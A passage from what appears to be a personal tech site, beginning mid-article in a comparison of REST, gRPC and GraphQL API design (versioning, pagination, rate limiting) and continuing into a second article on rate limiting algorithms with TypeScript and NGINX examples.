| Constraint        | What It Means                             | Architectural Property    |
| ----------------- | ----------------------------------------- | ------------------------- |
| Client-Server     | Separation of concerns                    | Independent evolution     |
| Stateless         | No session state on server                | Scalability, reliability  |
| Cacheable         | Responses labeled cacheable/non-cacheable | Performance, reduced load |
| Uniform Interface | Standardized resource interactions        | Simplicity, visibility    |
| Layered System    | Client unaware of intermediaries          | Encapsulation, proxies    |
| Code-on-Demand    | Optional executable code transfer         | Extensibility             |

**Why statelessness matters:** Each request contains all information needed to process it. Servers don't store session state between requests. This enables:

- Horizontal scaling (any server can handle any request)
- Simpler failure recovery (no session loss)
- Better cacheability

**Trade-off:** Clients must send authentication/context with every request, increasing payload size.

### HATEOAS: The Forgotten Constraint

HATEOAS (Hypermedia As The Engine Of Application State) is REST's most ignored constraint. It requires servers to provide navigation options in responses:

```json collapse={1-4, 20-25}
// Example: Order resource with hypermedia links
{
  "orderId": "12345",
  "status": "pending",
  "total": 99.99,
  "_links": {
    "self": { "href": "/orders/12345" },
    "cancel": { "href": "/orders/12345/cancel", "method": "POST" },
    "pay": { "href": "/orders/12345/payment", "method": "POST" },
    "items": { "href": "/orders/12345/items" }
  }
}
// After payment, "pay" link disappears, "refund" appears
```

**Fielding's 2008 clarification:** "A REST API should be entered with no prior knowledge beyond the initial URI and set of standardized media types."

**Why most APIs ignore it:** HATEOAS requires clients to be generic hypermedia browsers rather than knowing the API structure upfront. In practice, client developers prefer explicit API documentation over runtime discovery. The overhead of parsing links adds latency without practical benefit for known API contracts.

### Richardson Maturity Model

Leonard Richardson's maturity model (popularized by Martin Fowler) categorizes APIs by REST adherence:

| Level | Name         | Description                            | Example                         |
| ----- | ------------ | -------------------------------------- | ------------------------------- |
| 0     | Swamp of POX | Single URI, single verb (usually POST) | SOAP over HTTP                  |
| 1     | Resources    | Multiple URIs, but verbs ignored       | `/getUser`, `/createUser`       |
| 2     | HTTP Verbs   | Resources + proper verb semantics      | GET `/users/123`, POST `/users` |
| 3     | Hypermedia   | Full HATEOAS with link navigation      | GitHub API, PayPal              |

**Production reality:** Most "REST" APIs are Level 2. Level 3 adds complexity without proportional benefit for APIs with stable contracts and good documentation.

### When REST Excels

**Best for:**

- Public APIs (universal tooling, curl-debuggable)
- Cacheable resources (CDN integration, HTTP cache headers)
- CRUD-dominant operations
- Browser clients without build tooling

**Real-world:** Stripe, Twilio, and GitHub use REST for public APIs. Stripe's API has maintained backward compatibility since 2011 using REST's uniform interface combined with careful versioning.

**Limitations:**

- Over-fetching: Fixed response shapes waste bandwidth
- Under-fetching: Multiple round trips for related data
- No streaming: HTTP/1.1 request-response only
- Chatty for mobile: Each resource requires separate request

## gRPC: Performance and Type Safety

### Protocol Buffers and Wire Efficiency

gRPC uses Protocol Buffers (protobuf) for serialization—a binary format that's 3-10x smaller than JSON and 20-100x faster to parse.

**Wire format efficiency:**

```protobuf collapse={1-2}
// user.proto
syntax = "proto3";

message User {
  int64 id = 1;        // Field number 1 (1 byte tag)
  string name = 2;     // Field number 2
  repeated string tags = 3;
}
```

**Encoding details:**

- Field tags use varint encoding: numbers 1-15 take 1 byte, 16-2047 take 2 bytes
- Strings are length-prefixed (no delimiters)
- Default values (0, "", false) aren't transmitted
- Unknown fields are preserved (forward compatibility)

**Size comparison (same user object):**

| Format   | Size     | Parse Time |
| -------- | -------- | ---------- |
| JSON     | 95 bytes | 2.1 ms     |
| Protobuf | 28 bytes | 0.08 ms    |

### HTTP/2 and Streaming Modes

gRPC mandates HTTP/2, enabling features impossible with HTTP/1.1:

**Multiplexing:** Multiple requests share one TCP connection. No head-of-line blocking at HTTP level (though TCP still has it).

**Four communication patterns:**

| Pattern          | Use Case                             | Example                         |
| ---------------- | ------------------------------------ | ------------------------------- |
| Unary            | Request-response                     | GetUser(id) → User              |
| Server streaming | Large result sets, real-time updates | ListOrders() → stream Order     |
| Client streaming | File upload, batched writes          | stream Chunk → UploadResult     |
| Bidirectional    | Chat, real-time sync                 | stream Message ↔ stream Message |

**Server streaming example:**

```protobuf
service OrderService {
  rpc ListOrders(ListRequest) returns (stream Order);
}
```

Client receives orders as they're fetched from database—no need to buffer entire response.

### gRPC Performance in Production

**Netflix:** Migrated recommendation serving to gRPC. Results:

- 90% latency reduction for live predictions
- 30,000 concurrent prediction requests per node
- Recommendations delivered in <25ms

**Why the improvement:** Binary serialization eliminates JSON parsing overhead. HTTP/2 multiplexing reduces connection setup. Streaming enables incremental responses.

**Uber:** Uses gRPC for real-time location tracking. Key benefit: low battery impact on mobile from efficient encoding and persistent connections.

### gRPC Limitations

**Browser support:** gRPC-Web requires a proxy (Envoy) to translate between gRPC and browser-compatible format. Native browser gRPC isn't possible due to lack of HTTP/2 trailer support in browser APIs.

**Debugging:** Binary format isn't human-readable. Requires tooling (grpcurl, Postman) instead of curl.

**Load balancer compatibility:** L7 load balancers need gRPC-aware configuration. Connection-level balancing (L4) doesn't distribute requests evenly because gRPC multiplexes requests over persistent connections.

**Recommendation:** Use gRPC between services you control. Keep REST for public APIs and browser clients.

## GraphQL: Query Flexibility

### Solving Over-fetching and Under-fetching

GraphQL lets clients specify exactly what data they need:

```graphql
query {
  user(id: "123") {
    name
    email
    orders(first: 5) {
      id
      total
      items {
        productName
      }
    }
  }
}
```

**REST equivalent:** 3 requests minimum (`/users/123`, `/users/123/orders`, `/orders/{id}/items` for each order).

**Trade-off:** Server complexity increases. Each field is a potential code path. Authorization becomes per-field instead of per-endpoint.

### The N+1 Problem and DataLoader

GraphQL's per-field resolvers create the N+1 query problem:

```
Query: users(first: 100) { orders { ... } }

Naive execution:
1. SELECT * FROM users LIMIT 100           -- 1 query
2. SELECT * FROM orders WHERE user_id = 1  -- 100 queries
3. SELECT * FROM orders WHERE user_id = 2
... (N+1 total)
```

**DataLoader solution (Facebook):** Batch and deduplicate requests within a single tick of the event loop:

```javascript collapse={1-3, 15-20}
// DataLoader batches loads within same execution frame
const userLoader = new DataLoader(async (userIds) => {
  // Single query: SELECT * FROM users WHERE id IN (1, 2, 3, ...)
  const users = await db.users.findByIds(userIds)
  // Return in same order as input keys (DataLoader contract)
  return userIds.map((id) => users.find((u) => u.id === id))
})

// In resolver
const resolvers = {
  Order: {
    user: (order) => userLoader.load(order.userId),
  },
}
```

**Critical rule:** Create new DataLoader instance per request. Sharing loaders leaks data between users.

**Shopify's approach:** Built GraphQL Batch Ruby library inspired by DataLoader. Reduced database queries by 10-100x for complex queries.

### GraphQL Caching Challenges

**HTTP caching doesn't work:** GraphQL uses POST for all queries (to send query body). POST responses aren't cached by CDNs or browsers.

**Solutions:**

1. **Persisted queries:** Hash queries server-side, clients send hash instead of full query. Enables GET requests and CDN caching.
2. **Response caching:** Cache at resolver level (per-field), not HTTP level.
3. **Client-side:** Apollo Client normalizes responses into entity cache.

**Real-world:** GitHub's GraphQL API uses persisted queries for their mobile apps. Reduces payload size and enables caching.

### When GraphQL Fits

**Best for:**

- Mobile apps with varying data requirements (reduce round trips)
- Aggregating multiple backend services (BFF pattern)
- Rapidly evolving frontends (no backend changes for new field combinations)

**Not suitable for:**

- Simple CRUD APIs (overhead not justified)
- File uploads (requires multipart extensions)
- Public APIs (attack surface for malicious queries)

**Query complexity protection:** Production GraphQL servers must limit:

- Query depth (prevent deeply nested queries)
- Query complexity (weighted field costs)
- Rate limiting per query cost, not just requests

## API Versioning Strategies

### Design Choices

#### URL Path Versioning

**Mechanism:** Version in URL path: `/v1/users`, `/v2/users`

**When to use:**

- Public APIs with long-lived versions
- Need to run multiple versions simultaneously
- Clear separation between versions

**Trade-offs:**

- ✅ Explicit, impossible to miss
- ✅ Easy routing at load balancer/gateway
- ✅ Different versions can be separate deployments
- ❌ URL pollution (not a resource attribute)
- ❌ Clients must update all URLs for new version

**Real-world:** Twitter, Facebook, and Google Maps use URL versioning. Google runs v1 and v2 simultaneously for years during migrations.

#### Header-Based Versioning

**Mechanism:** Version in custom header or Accept header

```http
GET /users HTTP/1.1
Accept: application/vnd.myapi.v2+json
```

**When to use:**

- Clean URLs are priority
- Gradual migration between versions
- Same resource, different representations

**Trade-offs:**

- ✅ URLs remain stable
- ✅ Easier version negotiation
- ❌ Hidden—easy to forget
- ❌ Harder to test (can't just change URL)
- ❌ Some tools don't support custom headers easily

#### Date-Based Versioning (Stripe's Approach)

**Mechanism:** Version by release date: `Stripe-Version: 2024-01-28`

**How Stripe implements it:**

1. **Account pinning:** First API call pins account to current version
2. **Header override:** `Stripe-Version` header overrides for testing
3. **Version change modules:** Internal code transforms responses between versions

```http
GET /v1/customers HTTP/1.1
Stripe-Version: 2024-01-28
```

**Why it works for Stripe:**

- Breaking changes are rare (biannual)
- Version modules handle transformation at edges
- Core code stays clean—versions are an adapter layer
- 72-hour rollback window after upgrade

**Trade-off accepted:** Complex internal architecture. Version transformation code accumulates over time.

**Result:** Code from 2011 still works. Stripe prioritizes API stability as infrastructure.

### Breaking Change Management

**What constitutes a breaking change:**

- Removing fields
- Changing field types
- Changing field semantics
- Removing endpoints
- Changing error codes

**Safe changes (additive):**

- Adding new fields
- Adding new endpoints
- Adding new optional parameters
- Adding new enum values (if clients handle unknown values)

**Deprecation pattern:**

```json collapse={1-2, 10-15}
// Response includes deprecation warning
{
  "data": { ... },
  "_warnings": [
    {
      "code": "deprecated_field",
      "message": "Field 'legacy_id' deprecated. Use 'id' instead.",
      "deprecated_at": "2024-01-01",
      "sunset_at": "2025-01-01"
    }
  ]
}
```

## API Pagination Strategies

### Offset Pagination

**Mechanism:** `LIMIT x OFFSET y`

```http
GET /orders?limit=20&offset=40
```

**When to use:**

- Small datasets (<10K records)
- Need "jump to page X" functionality
- Data changes infrequently

**Trade-offs:**

- ✅ Simple to implement
- ✅ Supports arbitrary page access
- ✅ Easy to calculate total pages
- ❌ Performance degrades with offset (database scans and discards rows)
- ❌ Inconsistent results if data changes between pages

**Performance cliff:** At offset 10,000, Postgres scans and discards 10,000 rows. Page 1: 10ms. Page 1000: several seconds.

### Cursor Pagination

**Mechanism:** Opaque cursor points to position in result set

```http
GET /orders?limit=20&after=eyJpZCI6MTIzNH0=
```

**How it works:**

1. Encode last item's sort key as cursor (often base64 JSON)
2. Query: `WHERE id > cursor_id ORDER BY id LIMIT 20`
3. Return `next_cursor` with response

**When to use:**

- Large datasets
- Infinite scroll / real-time feeds
- Data changes frequently

**Trade-offs:**

- ✅ Consistent performance regardless of page depth
- ✅ Stable results despite concurrent inserts
- ✅ 17x faster than offset for deep pagination (measured on 1M rows)
- ❌ No "jump to page" capability
- ❌ Can't easily show "page 5 of 100"

**Real-world:** Twitter, Facebook, and Slack use cursor pagination for feeds. Twitter's cursor encodes timestamp + tweet ID for deterministic ordering.

### Keyset Pagination

**Mechanism:** Use actual column values instead of opaque cursor

```http
GET /orders?limit=20&created_after=2024-01-15T10:30:00Z&id_after=12345
```

**Why two columns:** Timestamps alone aren't unique. Tie-breaker (usually ID) ensures deterministic ordering.

**Query:**

```sql
SELECT * FROM orders
WHERE (created_at, id) > ('2024-01-15T10:30:00Z', 12345)
ORDER BY created_at, id
LIMIT 20
```

**Requires:** Composite index on `(created_at, id)`

**Trade-offs:**

- ✅ Same performance benefits as cursor
- ✅ Debuggable (values visible, not encoded)
- ❌ Exposes internal schema
- ❌ Harder if sort order changes dynamically

### Decision Matrix

| Factor             | Offset       | Cursor | Keyset |
| ------------------ | ------------ | ------ | ------ |
| Dataset size       | <10K         | Any    | Any    |
| Page depth         | Shallow only | Any    | Any    |
| Jump to page       | ✅           | ❌     | ❌     |
| Real-time data     | ❌           | ✅     | ✅     |
| Implementation     | Simple       | Medium | Medium |
| Performance (deep) | O(offset)    | O(1)   | O(1)   |

## Rate Limiting Algorithms

### Token Bucket

**Mechanism:** Bucket holds tokens. Each request consumes a token. Tokens refill at fixed rate up to bucket capacity.

**Parameters:**

- Bucket capacity: Maximum burst size
- Refill rate: Sustained request rate

**Behavior:**

- Allows bursts up to capacity
- After burst, rate limited to refill rate
- Unused capacity accumulates (up to max)

```
Capacity: 10, Refill: 1/second

t=0: 10 tokens, 10 requests → 0 tokens
t=5: 5 tokens (refilled), 3 requests → 2 tokens
t=10: 7 tokens (2 + 5 refilled)
```

**Trade-offs:**

- ✅ Allows legitimate bursts
- ✅ Simple state (count + timestamp)
- ✅ Memory efficient
- ❌ Burst can overwhelm downstream
- ❌ Requires tuning capacity vs refill rate

**Real-world:** AWS API Gateway, Nginx use token bucket. AWS allows bursts of 5000 requests, then 10,000/second sustained.

### Leaky Bucket

**Mechanism:** Requests enter bucket, leak out at constant rate. Overflow rejected.

**Key difference from token bucket:** Output rate is constant, not bursty.

**Trade-offs:**

- ✅ Smooth, predictable output rate
- ✅ Protects downstream from bursts
- ❌ No burst allowance—legitimate spikes rejected
- ❌ Can reject requests even under limit if they arrive in bursts

**Use case:** Traffic shaping where downstream can't handle bursts (legacy systems, rate-limited third-party APIs).

### Sliding Window

**Sliding Window Log:** Store timestamp of each request. Count requests in last N seconds.

**Sliding Window Counter:** Combine current window count with weighted previous window.

```
Window: 60 seconds
Previous window: 50 requests
Current window: 30 requests (25 seconds in)
Effective count: 30 + (50 × 35/60) = 59.2 requests
```

**Trade-offs:**

| Variant | Memory      | Accuracy    | Burst Handling |
| ------- | ----------- | ----------- | -------------- |
| Log     | O(requests) | Exact       | Smooth         |
| Counter | O(1)        | Approximate | Smooth         |

**Real-world:** Redis-based rate limiters often use sliding window counter for balance of accuracy and memory efficiency.

### Rate Limit Headers

Standard headers (RFC 6585 + draft-ietf-httpapi-ratelimit-headers):

```http
HTTP/1.1 429 Too Many Requests
RateLimit-Limit: 100
RateLimit-Remaining: 0
RateLimit-Reset: 1640995200
Retry-After: 30
```

**Best practice:** Always include headers so clients can back off gracefully. Include `Retry-After` on 429 responses.

## API Documentation

### OpenAPI (Swagger)

**Current version:** OpenAPI 3.1 (2021) achieved full JSON Schema compatibility.

**What it defines:**

- Endpoints, methods, parameters
- Request/response schemas
- Authentication methods
- Server URLs

**Tooling ecosystem:**

- Code generation (client SDKs, server stubs)
- Documentation (Swagger UI, Redoc)
- Testing (Postman, Insomnia import)
- Validation (request/response checking)

**Best practice:** Generate OpenAPI from code annotations (not manual YAML). Keeps spec synchronized with implementation.

### AsyncAPI for Event-Driven APIs

**Purpose:** OpenAPI equivalent for message-based APIs (Kafka, RabbitMQ, WebSockets).

**Key differences from OpenAPI:**

- Channels instead of paths
- Messages instead of request/response
- Bindings for protocol-specific config

```yaml collapse={1-5}
asyncapi: 3.0.0
info:
  title: Order Events
  version: 1.0.0

channels:
  orderCreated:
    address: orders/created
    messages:
      orderCreated:
        payload:
          type: object
          properties:
            orderId: { type: string }
            total: { type: number }
```

**Tooling:** Springwolf generates AsyncAPI from Spring Kafka/RabbitMQ annotations.

## Real-World Protocol Decisions

### Slack: Hybrid Approach

**Problem:** Needed real-time messaging, REST-like simplicity for integrations, efficient mobile sync.

**Solution:**

- **Web API:** REST for third-party integrations (familiar, cacheable)
- **RTM API:** WebSocket for real-time events
- **Events API:** Webhooks for server-to-server

**Why not just gRPC:** Slack prioritized developer experience. REST + WebSocket was more accessible than requiring protobuf tooling from integration developers.

### Netflix: All-In on gRPC

**Scale:** 100% internal traffic uses gRPC.

**Why:**

- Multilingual services (Java, Node, Python) need shared contract
- Built-in load balancing and health checking
- Streaming for large recommendation payloads
- Protocol buffers reduce bandwidth (significant at Netflix scale)

**Trade-off accepted:** Built custom tooling for debugging. Invested in gRPC-Web proxy for admin UIs.

### GitHub: GraphQL for Public API

**Problem:** Mobile app needed flexible queries. REST API required many round trips.

**Solution:** GraphQL API alongside REST.

**Implementation details:**

- Persisted queries for mobile (reduced payload, enabled caching)
- Query complexity limits (prevent abuse)
- REST API maintained for backward compatibility

**Outcome:** Mobile app performance improved. Developer adoption slower than expected—GraphQL learning curve higher than REST.

## Common Pitfalls

### 1. Treating gRPC as HTTP/JSON Replacement

**The mistake:** Using gRPC for browser-facing APIs expecting same ease as REST.

**Why it happens:** Performance benchmarks show gRPC faster. Teams assume faster = better everywhere.

**The consequence:** Need gRPC-Web proxy, lose browser DevTools debugging, complicate frontend build.

**The fix:** Use gRPC for service-to-service. Keep REST/GraphQL for browser clients.

### 2. GraphQL Without Complexity Limits

**The mistake:** Exposing GraphQL without query depth/cost limits.

**Why it happens:** Focus on functionality, security as afterthought.

**The consequence:** Malicious queries exhaust server resources:

```graphql
query {
  users { friends { friends { friends { friends { ... } } } } }
}
```

**The fix:** Implement query complexity analysis. Limit depth (typically 10-15). Assign costs to fields. Reject queries exceeding budget.

### 3. Offset Pagination on Large Tables

**The mistake:** Using `LIMIT 20 OFFSET 100000` for API pagination.

**Why it happens:** Offset pagination is intuitive and works fine in development.

**The consequence:** Production queries take 10+ seconds. Database CPU spikes. Users report "infinite loading" on deep pages.

**The fix:** Switch to cursor pagination. If "jump to page" needed, limit maximum offset (e.g., 10,000).

### 4. Breaking API Changes Without Versioning

**The mistake:** Changing field types or removing fields in production API.

**Why it happens:** "It's just a small change" or "no one uses that field."

**The consequence:** Client applications break. Mobile apps (can't force update) fail for weeks.

**The fix:** Treat API as infrastructure. Additive changes only. Version for breaking changes. Deprecate before removing.

## Conclusion

Protocol selection requires matching characteristics to constraints:

| Constraint        | REST                | gRPC            | GraphQL                  |
| ----------------- | ------------------- | --------------- | ------------------------ |
| Public API        | ✅ Best             | ❌ Proxy needed | ⚠️ Query limits required |
| Internal services | ⚠️ Verbose          | ✅ Best         | ⚠️ Overkill              |
| Mobile apps       | ⚠️ Many round trips | ✅ Efficient    | ✅ Flexible              |
| Browser direct    | ✅ Native           | ❌ gRPC-Web     | ✅ Works                 |
| Streaming         | ❌ Workarounds      | ✅ Native       | ⚠️ Subscriptions         |
| Caching           | ✅ HTTP native      | ❌ Custom       | ⚠️ Complex               |

**The pragmatic approach:**

- REST for public APIs and browser-direct calls
- gRPC for internal service mesh
- GraphQL when client flexibility outweighs server complexity
- Often: multiple protocols in the same system

Versioning, pagination, and rate limiting aren't optional add-ons—they're fundamental to operating APIs at scale. Stripe's decade of API stability demonstrates that treating APIs as infrastructure pays long-term dividends.

## Appendix

### Prerequisites

- HTTP/1.1 and HTTP/2 fundamentals
- Basic understanding of serialization formats (JSON, binary)
- Database query basics (for pagination section)

### Summary

- REST optimizes for cacheability and uniform interface; most "REST" APIs are Level 2 Richardson Maturity
- gRPC provides 3-10x efficiency over JSON with binary serialization and HTTP/2 streaming; use for internal services
- GraphQL shifts query complexity to clients; requires N+1 mitigation (DataLoader) and query complexity limits
- Cursor pagination outperforms offset by 17x on large datasets; use offset only for small, static data
- Token bucket allows bursts, leaky bucket enforces constant rate—choose based on downstream tolerance
- Version APIs from day one; Stripe's date-based versioning maintains 13+ years of backward compatibility

### References

- [Martin Fowler: Richardson Maturity Model](https://martinfowler.com/articles/richardsonMaturityModel.html) - REST maturity levels explained
- [gRPC Core Concepts](https://grpc.io/docs/what-is-grpc/core-concepts/) - Official gRPC documentation
- [Protocol Buffers Encoding](https://protobuf.dev/programming-guides/encoding/) - Wire format specification
- [GraphQL Specification](https://spec.graphql.org/) - Official GraphQL spec
- [Solving N+1 with DataLoader](https://www.graphql-js.org/docs/n1-dataloader/) - GraphQL.js DataLoader documentation
- [Shopify: Solving N+1 through Batching](https://shopify.engineering/solving-the-n-1-problem-for-graphql-through-batching) - Production GraphQL optimization
- [Stripe: API Versioning](https://stripe.com/blog/api-versioning) - Date-based versioning strategy
- [Understanding Cursor Pagination](https://www.milanjovanovic.tech/blog/understanding-cursor-pagination-and-why-its-so-fast-deep-dive) - Performance deep dive
- [Rate Limiting Algorithms](https://blog.algomaster.io/p/rate-limiting-algorithms-explained-with-code) - Algorithm comparison with implementations
- [AsyncAPI Specification](https://www.asyncapi.com/docs/reference/specification/v3.0.0) - Event-driven API documentation standard

---

## Rate Limiting Strategies: Token Bucket, Leaky Bucket, and Sliding Window

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/rate-limiting-strategies
**Category:** System Design / System Design Fundamentals
**Description:** Rate limiting protects distributed systems from abuse, prevents resource exhaustion, and ensures fair access. This article examines five core algorithms—their internal mechanics, trade-offs, and production implementations—plus distributed coordination patterns that make rate limiting work at scale.

# Rate Limiting Strategies: Token Bucket, Leaky Bucket, and Sliding Window

Rate limiting protects distributed systems from abuse, prevents resource exhaustion, and ensures fair access. This article examines five core algorithms—their internal mechanics, trade-offs, and production implementations—plus distributed coordination patterns that make rate limiting work at scale.

<figure>

![Rate limiting involves algorithm selection and distributed coordination. Most production systems use sliding window counter with Redis for the best accuracy-to-memory trade-off.](./rate-limiting-involves-algorithm-selection-and-distributed-coordination-most-pro.svg)

<figcaption>Rate limiting involves algorithm selection and distributed coordination. Most production systems use sliding window counter with Redis for the best accuracy-to-memory trade-off.</figcaption>
</figure>

## Abstract

Rate limiting answers one question: should this request proceed? The answer depends on counting requests within a time window—but how you count determines everything.

**The core trade-off:** Precision costs memory. Storing every request timestamp (sliding window log) gives exact counts but O(n) memory. Storing only counters (fixed window) uses O(1) memory but allows boundary exploits where clients get 2× their limit. The sliding window counter approximates the log with O(1) memory—Cloudflare measured 0.003% error rate at 400M requests.

**Why token bucket dominates:** It's the only algorithm that explicitly models burst capacity separately from sustained rate. AWS API Gateway, Stripe, and Envoy all use token bucket because real traffic is bursty—users click, pause, click again. Token bucket lets you say "100 requests/second average, but allow 500 in a burst" with a single data structure.

**The distributed problem:** Rate limiting only works if all instances agree on the count. Two approaches: shared state (Redis) with atomic operations, or local counting with periodic synchronization. Stripe started with single Redis, hit single-core saturation at 100K ops/sec, and migrated to Redis Cluster with 10 nodes. The key insight: use Lua scripts for atomic read-compute-write cycles to eliminate race conditions.

## Token Bucket

Token bucket is the most widely deployed algorithm because it explicitly separates two concerns: sustained rate and burst capacity.

### How It Works

A bucket holds tokens up to a maximum capacity. Tokens are added at a constant refill rate. Each request consumes tokens—if available, the request proceeds; if not, it's rejected.

```
tokens_available = min(capacity, tokens + elapsed_time × refill_rate)
```

The dual-parameter design (capacity + rate) is intentional. Capacity controls burst size—how many requests can arrive simultaneously. Rate controls sustained throughput—the long-term average. A bucket with capacity 100 and rate 10/sec allows 100 requests instantly, then 10/sec thereafter until the bucket refills.

### Implementation

```ts title="token-bucket.ts" collapse={1-2, 25-30}
// Token bucket implementation with lazy refill
type TokenBucket = { tokens: number; lastRefill: number }

function tryConsume(
  bucket: TokenBucket,
  capacity: number,
  refillRate: number, // tokens per second
  tokensRequested: number = 1,
): boolean {
  const now = Date.now()
  const elapsed = (now - bucket.lastRefill) / 1000

  // Lazy refill: calculate tokens that would have been added
  bucket.tokens = Math.min(capacity, bucket.tokens + elapsed * refillRate)
  bucket.lastRefill = now

  if (bucket.tokens >= tokensRequested) {
    bucket.tokens -= tokensRequested
    return true // Request allowed
  }
  return false // Request rejected
}

// Usage
const bucket: TokenBucket = { tokens: 100, lastRefill: Date.now() }
const allowed = tryConsume(bucket, 100, 10, 1) // capacity=100, rate=10/s
```

The lazy refill pattern avoids background timers. Instead of continuously adding tokens, calculate how many _would have been_ added since the last request. This makes token bucket O(1) time and O(1) space per client.

### Production Configurations

**AWS API Gateway** uses hierarchical token buckets:

- Regional: 10,000 req/s baseline (AWS-managed)
- Account: 10,000 req/s steady, 5,000 burst (configurable)
- Stage/Method: Per-API limits
- Client: Usage plan limits via API keys

The narrowest limit applies. A stage-level limit of 100 req/s overrides the account-level 10,000 req/s.

**Stripe** runs four distinct rate limiters, all token bucket:

1. **Request rate:** Maximum requests per second
2. **Concurrent requests:** Maximum in-flight (e.g., 20 concurrent)
3. **Fleet load shedder:** Reserves capacity for critical operations
4. **Worker utilization:** Sheds traffic by priority tier when workers saturate

**NGINX** implements token bucket with the `burst` parameter:

```nginx title="nginx.conf"
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;

server {
    location /api/ {
        limit_req zone=api burst=20 nodelay;
        # 10 req/s sustained, 20 burst, no queueing delay
    }
}
```

The `nodelay` directive processes burst requests immediately rather than spacing them. Without it, NGINX queues burst requests and releases them at the sustained rate.

### Design Rationale

Token bucket exists because real traffic is bursty. Users don't send requests at uniform intervals—they click, read, click again. A strict rate limit (like leaky bucket) would reject legitimate bursts that don't threaten the backend.

The trade-off: token bucket allows temporary overload. A backend that can handle 100 req/s on average might struggle with 500 simultaneous requests. Capacity tuning requires understanding your backend's burst tolerance, not just its sustained capacity.

## Leaky Bucket

Leaky bucket enforces smooth, constant-rate output regardless of input burstiness.

### Mechanism

Requests enter a queue (the "bucket"). The queue drains at a fixed rate. If the queue is full, new requests are rejected.

Unlike token bucket, leaky bucket doesn't store burst capacity—it stores _pending requests_. A full bucket means requests are waiting, not that capacity is available.

### Two Variants

**Queue-based (original):** Maintains a FIFO queue with fixed capacity. Requests dequeue at a constant rate. This variant physically queues requests, adding latency.

**Counter-based:** Tracks request count with timestamps. On each request, decrement the counter based on elapsed time, then check if incrementing would exceed capacity. This variant rejects excess requests immediately without queueing.

```ts title="leaky-bucket-counter.ts" collapse={1-2}
// Counter-based leaky bucket (no actual queue)
type LeakyBucket = { count: number; lastLeak: number }

function tryConsume(
  bucket: LeakyBucket,
  capacity: number,
  leakRate: number, // requests per second
): boolean {
  const now = Date.now()
  const elapsed = (now - bucket.lastLeak) / 1000

  // "Leak" requests based on elapsed time
  bucket.count = Math.max(0, bucket.count - elapsed * leakRate)
  bucket.lastLeak = now

  if (bucket.count < capacity) {
    bucket.count += 1
    return true
  }
  return false
}
```

### When to Use

Leaky bucket suits scenarios requiring predictable, smooth throughput:

- **Network traffic shaping:** Original use case in telecommunications
- **Database write batching:** Prevent write spikes from overwhelming storage
- **Third-party API calls:** Stay within strict rate limits that don't allow bursts

NGINX's `limit_req` module without `burst` parameter implements leaky bucket semantics—excess requests are rejected immediately, producing smooth output.

### Trade-offs

- ✅ Smooth, predictable output rate
- ✅ Protects backends from any burst
- ✅ O(1) time and space
- ❌ Rejects legitimate bursts
- ❌ Queue-based variant adds latency
- ❌ Old requests can starve recent ones in queue variant

## Fixed Window Counter

Fixed window divides time into discrete intervals (e.g., each minute) and counts requests per interval.

### Mechanism

```
window_id = floor(current_time / window_duration)
count[window_id] += 1
if count[window_id] > limit: reject
```

When the window changes, the counter resets. This is the simplest rate limiting algorithm—just increment and compare.

### The Boundary Problem

Fixed window's critical flaw: clients can achieve 2× the intended rate by timing requests at window boundaries.

```
Limit: 100 requests per minute

Timeline:
  Minute 1                    Minute 2
  |-------------------------|--------------------------|
                       ↑    ↑
                  99 requests (end of minute 1)
                       +
                   100 requests (start of minute 2)

Result: 199 requests in ~2 seconds, despite 100/minute limit
```

This isn't theoretical—attackers actively exploit window boundaries. A 2020 analysis of GitHub's API found automated tools timing requests to maximize throughput at minute boundaries.

### When Acceptable

Fixed window works when:

- Precision isn't critical (internal services, development)
- Combined with finer-grained limits (2 req/s + 100 req/min)
- Traffic is naturally distributed (no coordinated clients)

**Complexity:** O(1) time, O(1) space per window. The simplest to implement and debug.

## Sliding Window Log

Sliding window log stores the timestamp of every request, providing exact rate limiting with no boundary exploits.

### Mechanism

```ts title="sliding-window-log.ts" collapse={1-2, 20-25}
// Sliding window log - exact counting
type SlidingWindowLog = { timestamps: number[] }

function tryConsume(log: SlidingWindowLog, windowMs: number, limit: number): boolean {
  const now = Date.now()
  const windowStart = now - windowMs

  // Remove timestamps outside window
  log.timestamps = log.timestamps.filter((t) => t > windowStart)

  if (log.timestamps.length < limit) {
    log.timestamps.push(now)
    return true
  }
  return false
}

// Usage: 100 requests per 60 seconds
const log: SlidingWindowLog = { timestamps: [] }
const allowed = tryConsume(log, 60_000, 100)
```

### Memory Cost

The fatal flaw: O(n) memory where n is requests per window.

At 10,000 requests/second with a 60-second window:

- 600,000 timestamps per client
- 8 bytes per timestamp = 4.8 MB per client
- 1 million clients = 4.8 TB

This is why sliding window log is rarely used in production. Even Redis Sorted Sets (efficient for this pattern) struggle at scale.

### When to Use

- Low-volume, high-precision requirements
- Audit logging where you need exact request history
- Testing and verification of other algorithms

## Sliding Window Counter

Sliding window counter approximates the sliding window log using O(1) memory. This is the production standard at Cloudflare, GitHub, and most large-scale APIs.

### Mechanism

Maintain counters for the current and previous windows. Weight the previous window's count by how much of it overlaps with the sliding window.

```
current_weight = elapsed_time_in_current_window / window_duration
previous_weight = 1 - current_weight

estimated_count = (previous_count × previous_weight) + current_count

if estimated_count > limit: reject
```

Visually:

```
Window N-1          Window N (current)
|---------|---------|
     ↑         ↑
  30% overlap  70% into current window

Estimate = 0.3 × count(N-1) + count(N)
```

### Implementation

```ts title="sliding-window-counter.ts" collapse={1-3, 30-35}
// Sliding window counter - O(1) memory approximation
type SlidingWindowCounter = {
  currentWindow: number
  currentCount: number
  previousCount: number
}

function tryConsume(counter: SlidingWindowCounter, windowMs: number, limit: number): boolean {
  const now = Date.now()
  const currentWindow = Math.floor(now / windowMs)

  // Check if we've moved to a new window
  if (currentWindow !== counter.currentWindow) {
    counter.previousCount = counter.currentCount
    counter.currentCount = 0
    counter.currentWindow = currentWindow
  }

  // Calculate weighted estimate
  const elapsedInWindow = now % windowMs
  const previousWeight = (windowMs - elapsedInWindow) / windowMs
  const estimate = counter.previousCount * previousWeight + counter.currentCount

  if (estimate < limit) {
    counter.currentCount += 1
    return true
  }
  return false
}
```

### Accuracy

Cloudflare tested sliding window counter against sliding window log on 400 million requests:

- **Error rate:** 0.003% of requests miscategorized
- **Average difference:** 6% from true rate

The approximation works because most requests don't arrive exactly at window boundaries. The weighted average smooths out boundary effects that plague fixed windows.

### Trade-offs

- ✅ O(1) memory (just two counters)
- ✅ O(1) time
- ✅ High accuracy (0.003% error)
- ✅ No boundary exploits
- ❌ Slight undercount at window start (previous window count decays)
- ❌ More complex than fixed window

